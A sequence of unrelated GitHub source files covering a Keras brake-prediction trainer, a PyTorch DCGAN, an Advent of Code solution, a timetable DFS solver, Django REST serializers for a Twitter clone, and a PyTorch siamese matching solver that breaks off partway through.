Activation, LeakyReLU, Flatten\nimport numpy as np\nimport random\nfrom normalizer_brakepred import normX\nimport matplotlib.pyplot as plt\nimport pickle\nfrom keras import backend as K\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import normalize as sknorm\nimport shutil\nimport functools\nimport operator\nfrom keras.models import load_model\nfrom tensorflow.compat.v1.keras.utils import normalize\nimport seaborn as sns\nfrom sklearn.preprocessing import StandardScaler\n\ndef interp_fast(x, xp, fp=[0, 1], ext=False): # extrapolates above range when ext is True\n interped = (((x - xp[0]) * (fp[1] - fp[0])) / (xp[1] - xp[0])) + fp[0]\n return interped if ext else min(max(min(fp), interped), max(fp))\n\nos.chdir(\"C:/Git/dynamic-follow-tf-v2\")\ndata_dir = \"brake_pred\"\nnorm_dir = \"data/{}/normalized\"\nmodel_name = \"brake_pred\"\n\nprint(\"Loading data...\")\nwith open(\"data/{}/x_train\".format(data_dir), \"rb\") as f:\n x_train = pickle.load(f)\nwith open(\"data/{}/y_train\".format(data_dir), \"rb\") as f:\n y_train = pickle.load(f)\n\nprint(\"Loading test data...\")\nwith open(\"data/live_tracks/x_train\", \"rb\") as f:\n x_train_nobrake = pickle.load(f)\nwith open(\"data/live_tracks/y_train\", \"rb\") as f:\n y_train_nobrake = np.array(pickle.load(f))\n\n#x_train = [i for idx, i in enumerate(x_train_data) if y_train_data[idx] >= 0]\n#y_train = [i for i in y_train_data if i >= 0]\n\n#y_train_all = list(y_train_data)\n#x_train_all = list(x_train_data)\n\nprint(\"Normalizing data...\")\nx_train, scales = normX(x_train)\nscales['gas'] = [min(y_train), max(y_train)]\nx_train = np.array(x_train)\n#y_train = np.array([interp_fast(i, scales['gas'], [1, 0]) for i in y_train])\n#y_train = np.array(y_train)\n#y_train = normalize(y_train).reshape(-1)\nwith open(\"data/{}/scales\".format(data_dir), \"wb\") as f:\n pickle.dump(scales, f)\n\n#x_train, x_test, y_train, y_test = train_test_split(x_train, y_train, test_size=0.1)\n\nopt = keras.optimizers.Adam()\n#opt = keras.optimizers.Adadelta(lr=.000375)\n#opt = keras.optimizers.SGD(lr=0.008, momentum=0.9)\n#opt = keras.optimizers.RMSprop(lr=0.00005)#, decay=1e-5)\n#opt = keras.optimizers.Adagrad(lr=0.00025)\n#opt = keras.optimizers.Adagrad()\n#opt = 'adam'\n\n#opt = 'rmsprop'\n#opt = keras.optimizers.Adadelta()\n\nlayer_num = 5\nnodes = 64\na_function = \"relu\"\n\n# model = Sequential()\n# model.add(Dense(256, activation=a_function, input_shape=(x_train.shape[1:])))\n#\n# for i in range(layer_num - 1):\n# model.add(Dense(nodes, activation=a_function))\n# model.add(Dense(1, activation='linear'))\nmodel = Sequential()\nmodel.add(Dense(2, input_shape=(x_train.shape[1:])))\nmodel.add(Dense(128, activation=a_function))\nmodel.add(Dense(128, activation=a_function))\nmodel.add(Dense(64, activation=a_function))\nmodel.add(Dense(1))\n\nmodel.compile(loss='mean_squared_error', optimizer=opt, metrics=['mae'])\nmodel.fit(x_train, y_train, shuffle=True, batch_size=512, epochs=1000, validation_split=0.05)\n#model = load_model(\"models/h5_models/{}.h5\".format(model_name))\n\n#x_train_all = x_train_all[20000:25000]\n#y_train_all = y_train_all[20000:25000]\n\n'''x = range(len(x_train_all))\na = [[[[np.interp(i[0], scales['v_ego_scale'], [0, 1]), interp_fast(i[1], scales['a_ego_scale'], [0.5, 1])]]] for i in x_train_all]\ny = [model.predict(i)[0][0] for i in a]\ny2 = [i[1] for i in x_train_all]\nplt.clf()\nplt.plot(x, y, label='prediction')\nplt.plot(x, y2, label='a_ego')\nplt.plot(x, y_train_all, label='gas')\nplt.legend()\nplt.show()\n\n#print(\"Gas/brake spread: {}\".format(sum([model.predict([[[random.uniform(0,1) for i in range(4)]]])[0][0] for i in range(10000)])/10000)) # should be as close as possible to 0.5\n'''\n\n\n'''x = [50-i for i in range(50)]\ny = [interp_fast(model.predict([[[interp_fast(i, scales['v_ego_scale']), interp_fast(-2, scales['a_ego_scale'])]]])[0][0], [0, 1], [-1, 1]) for i in x]\nplt.plot(x, y)\nplt.show()'''\n\nx = range(50)\ny = []\ny_true = []\nwhile len(y) != 50:\n c = random.randrange(len(x_train))\n y.append(model.predict([[x_train[c]]])[0][0])\n y_true.append(y_train[c])\nplt.plot(x,y, label='pred')\nplt.plot(x,y_true, label='ground')\nplt.title('train data')\nplt.legend()\nplt.show()\n\nx = range(50)\ny = []\ny_true = []\nwhile len(y) != 50:\n c = random.randrange(len(x_train_nobrake))\n if y_train_nobrake[c] < 0.0:\n to_pred = [interp_fast(x_train_nobrake[c]['v_ego'], scales['v_ego_scale'], [0, 1]), interp_fast(x_train_nobrake[c]['a_ego'], scales['a_ego_scale'], [0, 1])]\n y.append(model.predict([[to_pred]])[0][0])\n y_true.append(y_train_nobrake[c])\nplt.plot(x,y, label='pred')\nplt.plot(x,y_true, label='ground')\nplt.title('live tracks data')\nplt.legend()\nplt.show()\n\npreds = []\nfor idx, i in enumerate(x_train[:10000]):\n preds.append(abs(model.predict([[i]])[0][0] - y_train[idx]))\n\nprint(\"Train accuracy: {}\".format(1 - sum(preds) / len(preds)))\n\n'''for c in np.where(y_test==.5)[0][:20]:\n #c = random.randint(0, len(x_test))\n print('Ground truth: {}'.format(y_test[c]))\n print('Prediction: {}'.format(model.predict([[x_test[c]]])[0][0]))\n print()'''\n\nfor i in range(20):\n c = random.randint(0, len(x_train))\n print('Ground truth: {}'.format(y_train[c]))\n print('Prediction: {}'.format(model.predict([[x_train[c]]])[0][0]))\n print()\n\n\n'''showed = 0\nwhile showed <= 20:\n c = random.randint(0, len(x_train_nobrake))\n if x_train_nobrake[c]['v_ego'] > 8.9 and y_train_nobrake[c] >= 0.0:\n showed+=1\n print('Ground truth: {}'.format(y_train_nobrake[c]))\n to_pred = [interp_fast(x_train_nobrake[c]['v_ego'], scales['v_ego_scale'], [0, 1]), interp_fast(x_train_nobrake[c]['a_ego'], scales['a_ego_scale'], [0, 1])]\n print('Prediction: {}'.format(interp_fast(model.predict([[to_pred]])[0][0], [0, 1], [-1, 1])))\n print()'''\n\n\nsave_model = True\ntf_lite = False\nif save_model:\n model.save(\"models/h5_models/\"+model_name+\".h5\")\n print(\"Saved model!\")\n if tf_lite:\n # convert model to tflite:\n converter = tf.lite.TFLiteConverter.from_keras_model_file(\"models/h5_models/\"+model_name+\".h5\")\n tflite_model = converter.convert()\n open(\"models/lite_models/\"+model_name+\".tflite\", \"wb\").write(tflite_model)","repo_name":"sshane/dynamic-follow-tf-v2","sub_path":"brake_prediction/holden/train-brakepred.py","file_name":"train-brakepred.py","file_ext":"py","file_size_in_byte":6324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38803156618","text":"import torch\nimport torch.nn as nn\nfrom torch import optim\nimport torch.utils.data\n\nfrom src.abstract_gan import LatentGAN\nfrom src.utils import device\n\n\nclass Generator(nn.Module):\n def __init__(self, latent_dim=100):\n \"\"\"A generator for mapping a latent space to a sample space.\n The sample space for this generator is single-channel, 32x32 images\n with pixel intensity ranging from -1 to +1.\n Args:\n latent_dim (int): latent dimension (\"noise vector\")\n batchnorm (bool): Whether or not to use batch normalization\n \"\"\"\n super(Generator, self).__init__()\n self.latent_dim = latent_dim\n self._init_modules()\n\n def _init_modules(self):\n \"\"\"Initialize the modules.\"\"\"\n # Project the input\n\n self.main = nn.Sequential(\n nn.ConvTranspose2d(self.latent_dim,\n 1024,\n kernel_size=4,\n stride=1,\n padding=0,\n bias=False),\n nn.BatchNorm2d(1024),\n nn.ReLU(inplace=True),\n\n # Convolutions\n nn.ConvTranspose2d(\n in_channels=1024,\n out_channels=512,\n kernel_size=4,\n stride=2,\n padding=1,\n bias=False),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n\n # Convolutions\n nn.ConvTranspose2d(\n in_channels=512,\n out_channels=256,\n kernel_size=4,\n stride=2,\n padding=1,\n bias=False),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n\n # Convolutions\n nn.ConvTranspose2d(\n in_channels=256,\n out_channels=128,\n kernel_size=4,\n stride=2,\n padding=1,\n bias=False),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n\n # Convolutions\n nn.ConvTranspose2d(\n in_channels=128,\n out_channels=3,\n kernel_size=4,\n stride=2,\n padding=1),\n\n nn.Tanh()\n )\n\n def forward(self, input_tensor):\n return self.main(input_tensor)\n\n\nclass Discriminator(nn.Module):\n def __init__(self):\n \"\"\"A discriminator for discerning real from generated images.\n Images must be single-channel and 28x28 pixels.\n Output activation is Sigmoid.\n \"\"\"\n super(Discriminator, self).__init__()\n self._init_modules()\n\n def _init_modules(self):\n \"\"\"Initialize the modules.\"\"\"\n self.main = nn.Sequential(\n nn.Conv2d(\n in_channels=3,\n out_channels=64,\n kernel_size=4,\n stride=2,\n padding=1,\n bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n\n nn.Conv2d(\n in_channels=64,\n out_channels=128,\n kernel_size=4,\n stride=2,\n padding=1,\n bias=False),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(0.2, inplace=True),\n\n nn.Conv2d(\n in_channels=128,\n out_channels=256,\n kernel_size=4,\n stride=2,\n padding=1,\n bias=False),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(0.2, inplace=True),\n\n nn.Conv2d(\n in_channels=256,\n out_channels=512,\n kernel_size=4,\n stride=2,\n padding=1,\n bias=False),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(0.2, inplace=True),\n\n nn.Conv2d(\n in_channels=512,\n out_channels=1,\n kernel_size=4,\n stride=1,\n padding=0,\n bias=False),\n nn.Sigmoid()\n )\n\n def forward(self, input_tensor):\n\n return self.main(input_tensor)\n\n\nclass DCGAN(LatentGAN):\n def __init__(self, latent_dim=100,\n noise_fn=None, lr_d=0.0002, lr_g=0.0002):\n \"\"\"A very basic DCGAN class for generating MNIST digits\n Args:\n latent_dim: dimension of the latent space\n noise_fn: function f(num: int) -> pytorch tensor, (latent vectors)\n lr_d: learning rate for the discriminator\n lr_g: learning rate for the generator\n \"\"\"\n\n def noise(x): return torch.normal(mean=0, std=1, size=(x, latent_dim, 1, 1), device=device)\n\n noise_fn = noise if noise_fn is None else noise_fn\n\n generator = Generator(latent_dim).to(device)\n discriminator = Discriminator().to(device)\n\n super().__init__(latent_dim,\n generator=generator,\n discriminator=discriminator,\n optim_g=optim.Adam(generator.parameters(), lr=lr_g, betas=(0.5, 0.999)),\n optim_d=optim.Adam(discriminator.parameters(), lr=lr_d, betas=(0.5, 0.999)),\n noise_fn=noise_fn)\n\n self.criterion = nn.BCELoss()\n self.real_labels = None\n self.fake_labels = None\n\n def train_step_generator(self, fake_samples, current_batch_size):\n \"\"\"Train the generator one step and return the loss.\"\"\"\n self.optim_g.zero_grad()\n\n # latent_vec = self.noise_fn(current_batch_size)\n # generated = self.generator(latent_vec)\n classifications = self.discriminator(fake_samples).view(-1)\n loss = self.criterion(classifications, self.real_labels)\n loss.backward()\n self.optim_g.step()\n\n return loss.mean().item()\n\n def train_step_discriminator(self, real_samples, current_batch_size):\n \"\"\"Train the discriminator one step and return the losses.\"\"\"\n self.optim_d.zero_grad()\n\n pred_real = self.discriminator(real_samples).view(-1)\n loss_real = self.criterion(pred_real, self.real_labels)\n\n loss_real.backward()\n\n # generated samples\n latent_vec = self.noise_fn(current_batch_size)\n fake_samples = self.generator(latent_vec)\n pred_fake = self.discriminator(fake_samples.detach()).view(-1)\n loss_fake = self.criterion(pred_fake, self.fake_labels)\n\n loss_fake.backward()\n\n # combine two losses. No actual mean since it's just a scalar\n loss = loss_real.mean().item() + loss_fake.mean().item()\n\n self.optim_d.step()\n\n return fake_samples, loss\n\n def train_step(self, real_data):\n current_batch_size = real_data.size(0)\n\n # We build labels here so that if the last batch has less samples\n # we don't have to drop it but we can still use it\n # we perform smooth labels\n self.real_labels = torch.full((current_batch_size,), 1., dtype=torch.float, device=device)\n self.fake_labels = torch.full((current_batch_size,), 0., dtype=torch.float, device=device)\n\n fake_samples, loss_d = self.train_step_discriminator(real_data, current_batch_size)\n\n loss_g = self.train_step_generator(fake_samples, current_batch_size)\n\n return {\"G_loss\": loss_g, \"D_loss\": loss_d}\n\n\nif __name__ == '__main__':\n \"\"\"\n GAN architecture inspired by\n \n https://towardsdatascience.com/how-to-build-a-dcgan-with-pytorch-31bfbf2ad96a\n \n result with 100 epoch:\n Epoch 100; Elapsed time = 1100s\n G_loss -> 1.9053003065129543, D_loss_real -> 0.23552483283577763, D_loss_fake -> 0.3951658665182743\n \"\"\"\n\n gan = DCGAN(latent_dim=100)\n gan.train_with_default_dataset(batch_size=128,\n image_size=64,\n epochs=5,\n save_model_checkpoints=True,\n save_imgs_local=True,\n wandb_plot=False)\n","repo_name":"Silleellie/Painter_GAN","sub_path":"src/dcgan.py","file_name":"dcgan.py","file_ext":"py","file_size_in_byte":8107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"42296839848","text":"Input = open(\"data/dag 10. input.txt\", \"r\").read().split(\"\\n\")[:-1]\ninstructions = [line.split() for line in Input]\n\ndef check_cycleNum():\n if cycleNum in [20,60,100,140,180, 220]:\n X_on_cyleNum.append(X * cycleNum)\n\n\ndef check_pixel():\n row, colum = divmod(cycleNum,40)\n if cycleNum%40 == 0:\n row = row - 1\n colum = 40\n \n if colum-1 in sprite:\n pixels[row][colum-1] = \"X\" \n else: \n pixels[row][colum-1] = \".\"\n \n\nX = 1\ncycleNum = 0\nX_on_cyleNum = []\nsprite = [0,1,2]\npixels = [[\"\" for i in range(40)] for j in range(6)]\n\nfor instruction in instructions:\n if instruction[0] == \"noop\":\n cycleNum = cycleNum + 1\n check_cycleNum()\n check_pixel()\n else: \n for num in range(2):\n cycleNum = cycleNum + 1\n check_cycleNum()\n check_pixel()\n X = X + int(instruction[1]) \n sprite = [X-1,X,X+1]\n \nprint(sum(X_on_cyleNum))\n\nfor line in pixels:\n print(\"\".join(line))\n","repo_name":"Kaysmink/adventOfCode-2022","sub_path":"src/Day 10. Cathode-Ray Tube.py","file_name":"Day 10. Cathode-Ray Tube.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21895452137","text":"\n# 비교를 위해 최소 시간단위로 변경\nn,m = 5,4\nans = 0\nselected= []\ndate = [\"MO\",\"TU\",\"WE\",\"TH\",\"FR\"]\n\ndef convTime(time) :\n #변환 : 모든 시간이 동일하게\n day = date.index(time[:2])*60*24\n hour = int(time[3:5])*60\n minute = int(time[6:8])\n return day+hour+minute\n\ndef parse(tz) : # 시간을 적절하게 변환 180분 -> 90분*2개 \n # 3시간짜리 수업의 경우 90분씩 쪼개어 파싱\n if len(tz) == 8:\n v = convTime(tz)\n return [(v,v+90),(v+90,v+180)]\n # 90분짜리 2개의 경우 2등분\n else:\n v1 = convTime(tz[:8])\n v2 = convTime(tz[9:])\n return [(v1,v1+90),(v2,v2+90)]\n \ndef conflict(A,B): # 시간을 비교\n A = parse(A)\n B = parse(B)\n #max() min() 비교\n for a in A:\n for b in B:\n if max(a[0],b[0]) < min(a[1],b[1]):\n return True\n return False\n\n#dfs를 사용\ndef dfs(idx,schedule):\n if idx== len(schedule):\n return 1\n ret = 0\n for j in schedule[idx]: #j 시간에 들을것\n flag = True\n for k in selected:\n if conflict(j,k) : #겹치면 실패\n flag = False\n if flag:\n selected.append(j)\n ret += dfs(idx+1,schedule)\n selected.pop()\n return ret\n\ndef solution(schedule):\n return dfs(0,schedule)\n\nif __name__ == \"__main__\":\n print(solution([[\"MO 12:00 WE 14:30\", \"MO 12:00\", \"MO 15:00\", \"MO 18:00\"], [\"TU 09:00\", \"TU 10:00\", \"TU 15:00\", \"TU 18:00\"], [\"WE 09:00\", \"WE 12:00\", \"WE 15:00\", \"WE 18:00\"], [\"TH 09:30\", \"TH 11:30\", \"TH 15:00\", \"TH 18:00\"], [\"FR 15:00\", \"FR 15:00\", \"FR 15:00\", \"FR 15:00\"]]))","repo_name":"jeen0202/Algorithm-Solve","sub_path":"Etest/Etest01/Etest01_sol.py","file_name":"Etest01_sol.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38929761385","text":"from rest_framework import serializers\n\nfrom chat.models import Chat, Message\nfrom tweet.models import Tweet, Comment\nfrom account.models import Account\n\n\nclass AccountSerializer(serializers.ModelSerializer):\n\t'''Account Serializer'''\n\tclass Meta:\n\t\tmodel = Account\n\t\tfields = ['followers', 'followings']\n\n\nclass MessageSerializer(serializers.ModelSerializer):\n\t'''Message Serializer'''\n\tclass Meta:\n\t\tmodel = Message\n\t\tfields = '__all__'\n\t\tread_only_fields = ['user', 'chat']\n\n\nclass ChatSerializer(serializers.ModelSerializer):\n\t'''Chat Serializer'''\n\tavatar = serializers.StringRelatedField(default=None)\n\tusername = serializers.StringRelatedField(default=None)\n\tlast_message = serializers.StringRelatedField(default=None)\n\tlast_message_date = serializers.DateTimeField(default=None)\n\tclass Meta:\n\t\tmodel = Chat\n\t\tfields = '__all__'\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n\t'''Comment Serializer'''\n\tclass Meta:\n\t\tmodel = Comment\n\t\tfields = '__all__'\n\t\tread_only_fields = ['tweet', 'parent', 'liked_by', 'retweeted_by', 'account']\n\n\nclass TweetSerializer(serializers.ModelSerializer):\n\t'''Tweet Serializer'''\n\tcomments_count = serializers.IntegerField(default=None)\n\tretweeted_count = serializers.IntegerField(default=None)\n\tliked_count = serializers.IntegerField(default=None)\n\tclass Meta:\n\t\tmodel = Tweet\n\t\tfields = '__all__'\n\n\nclass ProfileTweetSerializer(serializers.ModelSerializer):\n\t'''Tweet Serializer of User Profile'''\n\tcomments_count = serializers.IntegerField(default=None)\n\tretweeted_count = serializers.IntegerField(default=None)\n\tliked_count = serializers.IntegerField(default=None)\n\tcomments = CommentSerializer(many=True)\n\tclass Meta:\n\t\tmodel = Tweet\n\t\tfields = (\n\t\t\t'account', 'text', 'media', 'created_at',\n\t\t\t'comments_count', 'retweeted_count',\n\t\t\t'liked_count', 'comments', 'liked_by')\n\n\nclass ProfileSerializer(serializers.ModelSerializer):\n\t'''Profile Serializer of Account'''\n\tfollowings_count = serializers.IntegerField(read_only=True)\n\tfollowers_count = serializers.IntegerField(read_only=True)\n\ttweets = ProfileTweetSerializer(many=True)\n\tclass Meta:\n\t\tmodel = Account\n\t\tfields = (\n\t\t\t'username', 'first_name',\n\t\t\t'last_name', 'followings_count',\n\t\t\t'followers_count', 'tweets', 'avatar',\n\t\t\t'email', 'phone', 'gender', 'birth_date',\n\t\t\t'bio', 'url', 'is_online', 'created_at')","repo_name":"mirzomumin/twitter","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"26271950327","text":"import gc\nimport logging\nimport sys\nimport time\nfrom copy import deepcopy\nfrom itertools import chain\n\nimport torch\nfrom scipy.optimize import linear_sum_assignment\nfrom tqdm import tqdm\n\nfrom ml.models import get_model\nfrom ml.losses import get_loss\nfrom ml.optimizers import get_optimizer, get_lr_policy\nfrom ml.solvers.base_solver import Solver\nfrom utils.device import DEVICE, put_minibatch_to_device\nimport numpy as np\n\nfrom utils.iohandler import IOHandler\n\n\nclass SiameseSolver(Solver):\n def __init__(self, config, args):\n \"\"\"\n Solver parent function to control the experiments.\n It contains everything for an experiment to run.\n\n :param config: config namespace containing the experiment configuration\n :param args: arguments of the training\n \"\"\"\n super(SiameseSolver, self).__init__(config, args)\n\n # deep learn specific stuff\n self.init_epochs()\n if DEVICE == torch.device('cuda'):\n self.top_model.cuda()\n self.bottom_model.cuda()\n self.init_loss()\n self.init_optimizer()\n self.init_lr_policy()\n self.iohandler = IOHandler(args, self)\n self.iohandler.load_checkpoint()\n self.stage = 2 if self.stage2_epoch > 0 else 1\n\n def init_epochs(self):\n \"\"\"\n Initialize the epoch number initialization(s), (can be overwritten during checkpoint load).\n \"\"\"\n logging.info(\"Initializing the epoch number.\")\n self.stage1_epoch = 0\n self.stage1_epochs = self.config.env.stage1_epochs\n self.stage2_epoch = 0\n self.stage2_epochs = self.config.env.stage2_epochs\n\n def init_model(self):\n \"\"\"\n Initialize the model according to the config and put it on the gpu if available,\n (weights can be overwritten during checkpoint load).\n \"\"\"\n logging.info(\"Initializing the model.\")\n self.top_model = get_model(self.config.model, split='top')\n self.bottom_model = get_model(self.config.model, split='bottom')\n\n def init_loss(self):\n \"\"\"\n Initialize the loss according to the config.\n \"\"\"\n if self.phase == 'train':\n logging.info(\"Initializing the loss.\")\n self.loss = get_loss(self.config.loss)\n\n def init_optimizer(self):\n \"\"\"\n Initialize the optimizer according to the config, (can be overwritten during checkpoint load).\n \"\"\"\n if self.phase == 'train':\n logging.info(\"Initializing the optimizer.\")\n self.optimizer = get_optimizer(self.config.optimizer,\n chain(self.top_model.parameters(), self.bottom_model.parameters()))\n\n def init_lr_policy(self):\n \"\"\"\n Initialize the learning rate policy, (can be overwritten during checkpoint load).\n \"\"\"\n if self.phase == 'train':\n logging.info(\"Initializing lr policy.\")\n self.lr_policy = get_lr_policy(self.config.lr_policy, optimizer=self.optimizer)\n\n def train(self):\n \"\"\"\n Training all the epochs with validation after every epoch.\n Save the model if it has better performance than the previous ones.\n \"\"\"\n if self.stage == 1:\n logging.info(f\"Start stage 1 training\")\n\n for self.stage1_epoch in range(self.stage1_epoch, self.stage1_epochs):\n self.epochs = self.stage1_epochs\n self.epoch = self.stage1_epoch\n\n logging.info(f\"Start training stage 1 epoch: {self.epoch}/{self.stage1_epochs}\")\n self.current_mode = 'train'\n self.run_epoch()\n\n logging.info(f\"Start evaluating stage 1 epoch: {self.epoch}/{self.stage1_epochs}\")\n self.eval()\n\n self.lr_policy.step(self.siamese_accuracy)\n self.iohandler.save_best_checkpoint()\n self.loader.dataset.shuffle_indices()\n self.stage = 2\n\n if self.stage == 2:\n self.iohandler.load_checkpoint()\n self.init_optimizer()\n for self.stage2_epoch in range(self.stage2_epoch, self.stage2_epochs):\n self.epochs = self.stage2_epochs\n self.epoch = self.stage2_epoch\n logging.info(f\"Start stage 2 training\")\n if self.epoch % self.config.env.update_stage2_negatives_frequency == 0:\n\n # train on the full dataset to not forget the easier examples\n self.train_loader.dataset.make_splitted_data()\n for _ in range(self.config.env.second_stage_easy_epoch_number):\n self.current_mode = 'train'\n self.run_epoch()\n self.eval()\n\n logging.info(f\"Start stage 2 training step 1: gathering topks\")\n self.current_mode = 'gather_topks'\n self.run_epoch()\n\n top_pairs_array = self.run_topk('top')\n bottom_pairs_array = self.run_topk('bottom')\n _, predicted_pairs = self.combine_topks(top_pairs_array, bottom_pairs_array)\n self.train_loader.dataset.collect_pairs(predicted_pairs)\n\n # update dataloader\n logging.info(f\"Start training stage 2 epoch: {self.epoch}/{self.stage2_epochs}\")\n self.current_mode = 'train'\n self.run_epoch()\n\n logging.info(f\"Start evaluating stage 2 epoch: {self.epoch}/{self.stage2_epochs}\")\n self.eval()\n\n self.iohandler.save_best_checkpoint()\n\n else:\n raise ValueError(f'Wrong stage number: {self.stage}')\n\n return self.iohandler.get_max_metric()['accuracy']\n\n def eval(self):\n \"\"\"\n Evaluate the model and save the predictions to a csv file during testing inference.\n \"\"\"\n self.current_mode = 'test' if self.phase == 'test' else 'val'\n\n self.topk = self.config.env.val_topk\n self.run_epoch()\n top_pairs_array = self.run_topk('top')\n bottom_pairs_array = self.run_topk('bottom')\n pairs_array, _ = self.combine_topks(top_pairs_array, bottom_pairs_array)\n predicted_tops = self.run_bipartite_matching(pairs_array)\n\n if self.current_mode == 'test':\n self.test_loader.dataset.save_test_images(predicted_tops)\n else:\n if self.phase == 'train' and self.siamese_accuracy > 0.5:\n self.train_loader.dataset.positive_rate = self.siamese_accuracy\n self.iohandler.append_metric({'accuracy': self.accuracy, 'siamese_accuracy': self.siamese_accuracy})\n self.save_acc()\n\n def before_epoch(self):\n \"\"\"\n Before every epoch set the model and the iohandler to the right mode (train or eval)\n and select the corresponding loader.\n \"\"\"\n self.iohandler.reset_results()\n if self.current_mode == 'train':\n self.topk = self.config.env.train_topk\n self.top_model.train()\n self.bottom_model.train()\n self.loader = self.train_loader\n self.iohandler.train()\n self.chunk_size = self.config.env.train_chunk_size\n elif self.current_mode == 'gather_topks':\n self.topk = self.config.env.train_topk\n self.top_model.eval()\n self.bottom_model.eval()\n self.loader = self.topk_gathering_loader\n self.loader.dataset.positive_rate = 1.0\n self.iohandler.val()\n self.chunk_size = self.config.env.train_chunk_size\n elif self.current_mode == 'val':\n self.top_model.eval()\n self.bottom_model.eval()\n self.loader = self.val_loader\n self.iohandler.val()\n self.chunk_size = self.config.env.val_chunk_size\n elif self.current_mode == 'test':\n self.topk = self.config.env.val_topk\n self.top_model.eval()\n self.bottom_model.eval()\n self.loader = self.test_loader\n self.iohandler.test()\n self.chunk_size = self.config.env.test_chunk_size\n else:\n raise ValueError(f'Wrong current mode: {self.current_mode}. It should be `train` or `val`.')\n torch.cuda.empty_cache()\n\n def run_epoch(self):\n \"\"\"\n Run a full epoch according to the current self.current_mode (train or val).\n \"\"\"\n self.before_epoch()\n\n # set loading bar\n time.sleep(0.1)\n bar_format = '{desc}|{bar:10}|[{elapsed}<{remaining},{rate_fmt}]'\n with tqdm(range(len(self.loader)), file=sys.stdout, bar_format=bar_format, position=0, leave=True) as pbar:\n preproc_t_start = time.time()\n for idx, minibatch in enumerate(self.loader):\n minibatch = put_minibatch_to_device(minibatch)\n preproc_time = time.time() - preproc_t_start\n\n # train\n train_t_start = time.time()\n output, loss = self.step(minibatch)\n train_time = time.time() - train_t_start\n\n # save results for evaluation at the end of the epoch and calculate the running metrics\n self.iohandler.append_data(minibatch, output)\n self.iohandler.update_bar_description(pbar, idx, preproc_time, train_time, loss)\n\n pbar.update(1)\n preproc_t_start = time.time()\n\n self.after_epoch()\n\n def step(self, minibatch):\n \"\"\"\n Make one iteration step: either a train (pred+train) or a val step (pred only).\n\n :param minibatch: minibatch containing the input image and the labels (labels only during `train`).\n :return: output, loss\n \"\"\"\n # prediction\n if self.current_mode == 'train':\n top_output = self.top_model(minibatch['tops'])\n bottom_output = self.bottom_model(minibatch['bottoms'])\n\n # training step\n self.optimizer.zero_grad()\n loss = self.loss(top_output, bottom_output, minibatch['labels'])\n loss.backward()\n self.optimizer.step()\n\n else:\n with torch.no_grad():\n top_output = self.top_model(minibatch['tops'])\n bottom_output = self.bottom_model(minibatch['bottoms'])\n loss = 0\n\n return {'top_output': top_output, 'bottom_output': bottom_output}, loss\n\n def after_epoch(self):\n \"\"\"\n After every epoch collect some garbage and evaluate the current metric.\n \"\"\"\n gc.collect()\n torch.cuda.empty_cache()\n print()\n\n def run_topk(self, part):\n \"\"\"\n Runs the model to gather the topk pairs at a given orientation, the best bottoms for all the tops, or the best tops for all the bottoms.\n\n :param part: orientation of the topk gathering `top` or `bottom`\n\n :return: pairs array containg the bottoms-tops prediction score for the topk elements\n \"\"\"\n top_output = self.iohandler.results['top_output']\n bottom_output = self.iohandler.results['bottom_output']\n pairs = self.iohandler.results['pairs']\n\n if part == 'top':\n first = top_output.unsqueeze(1)\n second = bottom_output.unsqueeze(0)\n gt = pairs[torch.argsort(pairs[:, 0]), 1].unsqueeze(-1)\n elif part == 'bottom':\n first = bottom_output.unsqueeze(1)\n second = top_output.unsqueeze(0)\n gt = pairs[:, 0].unsqueeze(-1)\n else:\n raise ValueError(f'Wrong part: {part}')\n\n distance_list = torch.tensor([], device=DEVICE)\n distance_index_list = torch.tensor([], device=DEVICE)\n\n logging.info('Running matching for tops')\n time.sleep(0.1)\n bar_format = '{desc}|{bar:10}|[{elapsed}<{remaining},{rate_fmt}]'\n with tqdm(range(first.size(0) // self.chunk_size), file=sys.stdout, bar_format=bar_format,\n position=0, leave=True) as pbar:\n for i in range(0, first.size(0), self.chunk_size):\n current_first = first[i:i + self.chunk_size]\n\n distance = torch.sum((current_first * second), dim=-1)\n\n top_elements, top_elements_indices = torch.topk(distance, int(self.topk), dim=-1)\n distance_list = torch.cat([distance_list, top_elements], dim=0)\n distance_index_list = torch.cat([distance_index_list, top_elements_indices], dim=0)\n\n pbar.update(1)\n\n siamese_accuracy = torch.sum(torch.any(distance_index_list == gt, dim=-1)) / top_output.size(0)\n\n logging.info(f'Siamese accuracy of maching for the {part} elements top{self.topk}: {siamese_accuracy * 100:.2f}%')\n\n distance_list = distance_list.cpu().numpy()\n distance_index_list = distance_index_list.cpu().numpy()\n\n pairs_array = np.zeros([pairs.size(0), pairs.size(0)])\n for i, (distance, distance_index) in enumerate(zip(distance_list, distance_index_list)):\n if part == 'top':\n pairs_array[distance_index.astype(int), i] = distance\n elif part == 'bottom':\n pairs_array[i, distance_index.astype(int)] = distance\n else:\n raise ValueError(f'Wrong part: {part}')\n\n logging.info(f'Mathing for {part} of top{self.topk} contains {np.sum(pairs_array>0)} elements')\n\n return pairs_array\n\n def combine_topks(self, top_pairs_array, bottom_pairs_array):\n \"\"\"\n Make the intersection of the best bottoms for all the tops and the best tops for all the bottoms\n \"\"\"\n\n logging.info('Make combined matching.')\n\n pairs_mask = np.logical_and(top_pairs_array > 0, bottom_pairs_array > 0)\n top_pairs_array[np.logical_not(pairs_mask)] = 0\n predicted_pairs = np.argwhere(top_pairs_array > 0)\n\n if self.current_mode == 'val' or self.current_mode == 'test':\n logging.info('Calculate the combined accuracy.')\n pairs = self.iohandler.results['pairs']\n\n summer = 